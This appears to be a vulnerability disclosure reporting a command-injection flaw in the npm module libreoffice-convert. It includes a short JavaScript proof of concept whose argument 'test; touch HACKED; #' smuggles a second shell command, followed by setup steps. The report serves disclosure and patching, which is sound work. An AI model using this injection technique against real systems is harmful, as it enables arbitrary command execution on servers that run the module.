Code Injection in elwerene/libreoffice-convert
Valid
Reported on
Apr 14th 2020
Description
The libreoffice-convert
module is vulnerable against RCE
since a command is crafted using user inputs
not validated and then executed, leading to arbitrary command injection
POC
- Create the following PoC file:
// poc.js
const libre = require('libreoffice-convert');
libre.convert('', 'test; touch HACKED; #', undefined, (err, done) => {
if (err) {
console.log(`Error converting file: ${err}`);
}
});
- Check there aren't files called
HACKED
- Execute the following commands in another terminal:
sudo apt install libreoffice # You need to install libreoffice
# Or instead, simply create a file placed in the libreoffice dir with the same name, in order to avoid to install the whole software: * echo "test" > /usr/bin/libreoffice*
npm i libreoffice-convert # Install affected module
node poc.js # Run the PoC
- Recheck the files: now
HACKED
has been created
Occurrences
to join this conversation